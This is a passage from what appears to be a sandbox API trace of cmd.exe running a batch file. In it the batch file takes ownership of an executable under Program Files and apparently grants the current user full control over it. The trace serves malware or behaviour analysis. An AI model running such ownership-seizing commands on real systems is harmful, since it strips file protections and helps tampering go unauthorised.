returned 0x504898 [0091.683] GetProcessHeap () returned 0x4f0000 [0091.683] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x238) returned 0x5049c0 [0091.683] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5049c0, Size=0x122) returned 0x5049c0 [0091.684] GetProcessHeap () returned 0x4f0000 [0091.684] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x5049c0) returned 0x122 [0091.684] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0091.684] GetProcessHeap () returned 0x4f0000 [0091.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xe0) returned 0x504af0 [0091.684] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504af0, Size=0x76) returned 0x504af0 [0091.684] GetProcessHeap () returned 0x4f0000 [0091.684] RtlSizeHeap (HeapHandle=0x4f0000, Flags=0x0, MemoryPointer=0x504af0) returned 0x76 [0091.684] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0091.684] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x1ae870, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ae870) returned 0xffffffff [0091.684] GetLastError () returned 0x2 [0091.684] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown", fInfoLevelId=0x1, lpFindFileData=0x1ae870, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ae870) returned 0xffffffff [0091.684] GetLastError () returned 0x2 [0091.684] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0091.684] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x1ae870, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ae870) returned 0x504b70 [0091.684] FindClose (in: hFindFile=0x504b70 | out: hFindFile=0x504b70) returned 1 [0091.685] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.COM", fInfoLevelId=0x1, lpFindFileData=0x1ae870, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ae870) returned 0xffffffff [0091.685] GetLastError () returned 0x2 [0091.685] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.EXE", fInfoLevelId=0x1, lpFindFileData=0x1ae870, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ae870) returned 0x504b70 [0091.685] FindClose (in: hFindFile=0x504b70 | out: hFindFile=0x504b70) returned 1 [0091.685] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0091.685] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0091.685] GetConsoleTitleW (in: lpConsoleTitle=0x1aed68, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0091.685] InitializeProcThreadAttributeList (in: lpAttributeList=0x1aebf0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1aecb8 | out: lpAttributeList=0x1aebf0, lpSize=0x1aecb8) returned 1 [0091.685] UpdateProcThreadAttribute (in: lpAttributeList=0x1aebf0, dwFlags=0x0, Attribute=0x60001, lpValue=0x1aecb0, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1aebf0, lpPreviousValue=0x0) returned 1 [0091.685] GetStartupInfoW (in: lpStartupInfo=0x1aebac | out: lpStartupInfo=0x1aebac*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0091.685] lstrcmpW (lpString1="\\takeown.exe", lpString2="\\XCOPY.EXE") returned -1 [0091.686] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="takeown /F \"C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1aec4c*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="takeown /F \"C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1aec98 | out: lpCommandLine="takeown /F \"C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\"", lpProcessInformation=0x1aec98*(hProcess=0x78, hThread=0x74, dwProcessId=0xd74, dwThreadId=0xd78)) returned 1 [0091.697] CloseHandle (hObject=0x74) returned 1 [0091.697] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0091.697] GetProcessHeap () returned 0x4f0000 [0091.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5081d0 | out: hHeap=0x4f0000) returned 1 [0091.697] GetEnvironmentStringsW () returned 0x505fe8* [0091.697] GetProcessHeap () returned 0x4f0000 [0091.697] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xb5c) returned 0x5081d0 [0091.697] FreeEnvironmentStringsW (penv=0x505fe8) returned 1 [0091.697] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0093.164] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x1aeb8c | out: lpExitCode=0x1aeb8c*=0x0) returned 1 [0093.183] CloseHandle (hObject=0x78) returned 1 [0093.183] _vsnwprintf (in: _Buffer=0x1aecd4, _BufferCount=0x13, _Format="%08X", _ArgList=0x1aeb98 | out: _Buffer="00000000") returned 8 [0093.183] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0093.183] GetProcessHeap () returned 0x4f0000 [0093.183] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5081d0 | out: hHeap=0x4f0000) returned 1 [0093.183] GetEnvironmentStringsW () returned 0x505fe8* [0093.183] GetProcessHeap () returned 0x4f0000 [0093.183] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xb5c) returned 0x5081d0 [0093.183] FreeEnvironmentStringsW (penv=0x505fe8) returned 1 [0093.183] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0093.183] GetProcessHeap () returned 0x4f0000 [0093.183] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5081d0 | out: hHeap=0x4f0000) returned 1 [0093.183] GetEnvironmentStringsW () returned 0x505fe8* [0093.184] GetProcessHeap () returned 0x4f0000 [0093.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xb5c) returned 0x5081d0 [0093.184] FreeEnvironmentStringsW (penv=0x505fe8) returned 1 [0093.184] GetProcessHeap () returned 0x4f0000 [0093.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4f0e20 | out: hHeap=0x4f0000) returned 1 [0093.184] DeleteProcThreadAttributeList (in: lpAttributeList=0x1aebf0 | out: lpAttributeList=0x1aebf0) [0093.184] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.184] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0093.185] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.185] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0093.185] _get_osfhandle (_FileHandle=0) returned 0x3 [0093.185] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0093.185] SetConsoleInputExeNameW () returned 0x1 [0093.185] GetConsoleOutputCP () returned 0x1b5 [0093.185] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0093.185] SetThreadUILanguage (LangId=0x0) returned 0x409 [0093.185] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1af40c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0093.186] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0093.186] _get_osfhandle (_FileHandle=3) returned 0x78 [0093.186] SetFilePointer (in: hFile=0x78, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0093.186] GetProcessHeap () returned 0x4f0000 [0093.186] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504af0 | out: hHeap=0x4f0000) returned 1 [0093.186] GetProcessHeap () returned 0x4f0000 [0093.186] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5049c0 | out: hHeap=0x4f0000) returned 1 [0093.186] GetProcessHeap () returned 0x4f0000 [0093.186] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504898 | out: hHeap=0x4f0000) returned 1 [0093.186] GetProcessHeap () returned 0x4f0000 [0093.186] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504d68 | out: hHeap=0x4f0000) returned 1 [0093.186] GetProcessHeap () returned 0x4f0000 [0093.186] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5047d8 | out: hHeap=0x4f0000) returned 1 [0093.186] GetProcessHeap () returned 0x4f0000 [0093.186] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5045c0 | out: hHeap=0x4f0000) returned 1 [0093.186] GetProcessHeap () returned 0x4f0000 [0093.186] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504540 | out: hHeap=0x4f0000) returned 1 [0093.186] GetProcessHeap () returned 0x4f0000 [0093.186] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504410 | out: hHeap=0x4f0000) returned 1 [0093.187] GetProcessHeap () returned 0x4f0000 [0093.187] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5042e8 | out: hHeap=0x4f0000) returned 1 [0093.187] GetProcessHeap () returned 0x4f0000 [0093.187] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504278 | out: hHeap=0x4f0000) returned 1 [0093.187] GetProcessHeap () returned 0x4f0000 [0093.187] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5041c8 | out: hHeap=0x4f0000) returned 1 [0093.187] GetProcessHeap () returned 0x4f0000 [0093.187] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4f0b20 | out: hHeap=0x4f0000) returned 1 [0093.187] GetProcessHeap () returned 0x4f0000 [0093.187] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4f1250 | out: hHeap=0x4f0000) returned 1 [0093.187] _get_osfhandle (_FileHandle=3) returned 0x78 [0093.187] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0093.187] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1af3f0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x1af3f0*=0xb3, lpOverlapped=0x0) returned 1 [0093.187] SetFilePointer (in: hFile=0x78, lDistanceToMove=63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0093.187] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=16, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="set FN=\"%~nx1\"\r\nUSERNAME%:F /C\r\n") returned 16 [0093.187] _get_osfhandle (_FileHandle=3) returned 0x78 [0093.187] GetFileType (hFile=0x78) returned 0x1 [0093.188] _get_osfhandle (_FileHandle=3) returned 0x78 [0093.188] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0093.188] GetProcessHeap () returned 0x4f0000 [0093.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x400a) returned 0x514c08 [0093.188] GetProcessHeap () returned 0x4f0000 [0093.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x9c) returned 0x5041c8 [0093.188] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe", nBufferLength=0x208, lpBuffer=0x1aeb80, lpFilePart=0x1aeb78 | out: lpBuffer="C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe", lpFilePart=0x1aeb78*="kids-memorabilia.exe") returned 0x48 [0093.188] FindFirstFileW (in: lpFileName="C:\\Program Files", lpFindFileData=0x1ae894 | out: lpFindFileData=0x1ae894*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xca90ed40, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xca90ed40, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 0x4f1250 [0093.188] FindClose (in: hFindFile=0x4f1250 | out: hFindFile=0x4f1250) returned 1 [0093.188] _wcsnicmp (_String1="PROGRA~1", _String2="Program Files", _MaxCount=0xd) returned 17 [0093.189] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services", lpFindFileData=0x1ae894 | out: lpFindFileData=0x1ae894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa06c4b50, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa06c4b50, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Synchronization Services", cAlternateFileName="MID7C0~1")) returned 0x4f1250 [0093.189] FindClose (in: hFindFile=0x4f1250 | out: hFindFile=0x4f1250) returned 1 [0093.189] _wcsnicmp (_String1="MID7C0~1", _String2="Microsoft Synchronization Services", _MaxCount=0x22) returned 1 [0093.189] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe", lpFindFileData=0x1ae894 | out: lpFindFileData=0x1ae894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b447c20, ftCreationTime.dwHighDateTime=0x1d58e65, ftLastAccessTime.dwLowDateTime=0x707696c0, ftLastAccessTime.dwHighDateTime=0x1d5c3b3, ftLastWriteTime.dwLowDateTime=0x707696c0, ftLastWriteTime.dwHighDateTime=0x1d5c3b3, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="kids-memorabilia.exe", cAlternateFileName="KIDS-M~1.EXE")) returned 0x4f1250 [0093.189] FindClose (in: hFindFile=0x4f1250 | out: hFindFile=0x4f1250) returned 1 [0093.189] _wcsnicmp (_String1="KIDS-M~1.EXE", _String2="kids-memorabilia.exe", _MaxCount=0x14) returned 25 [0093.189] GetProcessHeap () returned 0x4f0000 [0093.189] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x32) returned 0x4f1250 [0093.189] GetProcessHeap () returned 0x4f0000 [0093.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514c08 | out: hHeap=0x4f0000) returned 1 [0093.190] _tell (_FileHandle=3) returned 63 [0093.190] _close (_FileHandle=3) returned 0 [0093.190] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af1c4 | out: _Buffer="\r\n") returned 2 [0093.191] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.191] GetFileType (hFile=0x7) returned 0x2 [0093.191] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0093.191] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af184 | out: lpMode=0x1af184) returned 1 [0093.191] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.191] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1af1b0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x1af1b0*=0x2) returned 1 [0093.193] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0093.193] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0093.193] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af1c0 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0093.193] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af1c0 | out: _Buffer=">") returned 1 [0093.193] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.193] GetFileType (hFile=0x7) returned 0x2 [0093.193] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0093.193] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af188 | out: lpMode=0x1af188) returned 1 [0093.193] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.193] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x1af1b4, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x1af1b4*=0x26) returned 1 [0093.194] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.194] GetFileType (hFile=0x7) returned 0x2 [0093.194] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0093.194] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af40c | out: lpMode=0x1af40c) returned 1 [0093.194] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.194] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4f0e28*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x1af438, lpReserved=0x0 | out: lpBuffer=0x4f0e28*, lpNumberOfCharsWritten=0x1af438*=0x3) returned 1 [0093.195] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x1af444 | out: _Buffer=" FN=\"kids-memorabilia.exe\" ") returned 27 [0093.195] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.195] GetFileType (hFile=0x7) returned 0x2 [0093.195] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0093.195] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af404 | out: lpMode=0x1af404) returned 1 [0093.197] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.197] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x1b, lpNumberOfCharsWritten=0x1af430, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x1af430*=0x1b) returned 1 [0093.197] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af464 | out: _Buffer="\r\n") returned 2 [0093.197] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.197] GetFileType (hFile=0x7) returned 0x2 [0093.197] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0093.197] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1af424 | out: lpMode=0x1af424) returned 1 [0093.198] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.198] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1af450, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x1af450*=0x2) returned 1 [0093.199] _wcsicmp (_String1="set", _String2="DIR") returned 15 [0093.199] _wcsicmp (_String1="set", _String2="ERASE") returned 14 [0093.199] _wcsicmp (_String1="set", _String2="DEL") returned 15 [0093.199] _wcsicmp (_String1="set", _String2="TYPE") returned -1 [0093.199] _wcsicmp (_String1="set", _String2="COPY") returned 16 [0093.199] _wcsicmp (_String1="set", _String2="CD") returned 16 [0093.199] _wcsicmp (_String1="set", _String2="CHDIR") returned 16 [0093.199] _wcsicmp (_String1="set", _String2="RENAME") returned 1 [0093.199] _wcsicmp (_String1="set", _String2="REN") returned 1 [0093.199] _wcsicmp (_String1="set", _String2="ECHO") returned 14 [0093.199] _wcsicmp (_String1="set", _String2="SET") returned 0 [0093.199] GetConsoleTitleW (in: lpConsoleTitle=0x1aefd4, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0093.200] wcsncmp (_String1="FN", _String2="/", _MaxCount=0x4) returned 23 [0093.200] SetEnvironmentVariableW (lpName="FN", lpValue="\"kids-memorabilia.exe\"") returned 1 [0093.200] GetProcessHeap () returned 0x4f0000 [0093.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5081d0 | out: hHeap=0x4f0000) returned 1 [0093.200] GetEnvironmentStringsW () returned 0x506b80* [0093.200] GetProcessHeap () returned 0x4f0000 [0093.200] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xb90) returned 0x507718 [0093.200] FreeEnvironmentStringsW (penv=0x506b80) returned 1 [0093.200] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.200] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0093.200] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.200] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0093.200] _get_osfhandle (_FileHandle=0) returned 0x3 [0093.200] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0093.201] SetConsoleInputExeNameW () returned 0x1 [0093.201] GetConsoleOutputCP () returned 0x1b5 [0093.201] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0093.201] SetThreadUILanguage (LangId=0x0) returned 0x409 [0093.201] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1af40c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0093.201] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0093.202] _get_osfhandle (_FileHandle=3) returned 0x78 [0093.202] SetFilePointer (in: hFile=0x78, lDistanceToMove=63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0093.202] GetProcessHeap () returned 0x4f0000 [0093.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504360 | out: hHeap=0x4f0000) returned 1 [0093.202] GetProcessHeap () returned 0x4f0000 [0093.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504318 | out: hHeap=0x4f0000) returned 1 [0093.202] GetProcessHeap () returned 0x4f0000 [0093.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5042d0 | out: hHeap=0x4f0000) returned 1 [0093.202] GetProcessHeap () returned 0x4f0000 [0093.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4f0e20 | out: hHeap=0x4f0000) returned 1 [0093.202] GetProcessHeap () returned 0x4f0000 [0093.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504270 | out: hHeap=0x4f0000) returned 1 [0093.202] GetProcessHeap () returned 0x4f0000 [0093.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4f1250 | out: hHeap=0x4f0000) returned 1 [0093.202] GetProcessHeap () returned 0x4f0000 [0093.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5041c8 | out: hHeap=0x4f0000) returned 1 [0093.202] _get_osfhandle (_FileHandle=3) returned 0x78 [0093.202] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0093.202] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1af3f0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x1af3f0*=0xa3, lpOverlapped=0x0) returned 1 [0093.202] SetFilePointer (in: hFile=0x78, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0093.202] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=15, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="cd /d \"%~dp0\"\r\n\nUSERNAME%:F /C\r\n") returned 15 [0093.202] _get_osfhandle (_FileHandle=3) returned 0x78 [0093.202] GetFileType (hFile=0x78) returned 0x1 [0093.202] _get_osfhandle (_FileHandle=3) returned 0x78 [0093.202] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0093.203] GetProcessHeap () returned 0x4f0000 [0093.203] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x400a) returned 0x514c08 [0093.203] GetProcessHeap () returned 0x4f0000 [0093.203] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x70) returned 0x4f1250 [0093.203] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", nBufferLength=0x208, lpBuffer=0x1aeb80, lpFilePart=0x1aeb78 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFilePart=0x1aeb78*="Bt3xnwko.bat") returned 0x32 [0093.203] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1ae894 | out: lpFindFileData=0x1ae894*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x5041c8 [0093.203] FindClose (in: hFindFile=0x5041c8 | out: hFindFile=0x5041c8) returned 1 [0093.203] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x1ae894 | out: lpFindFileData=0x1ae894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS 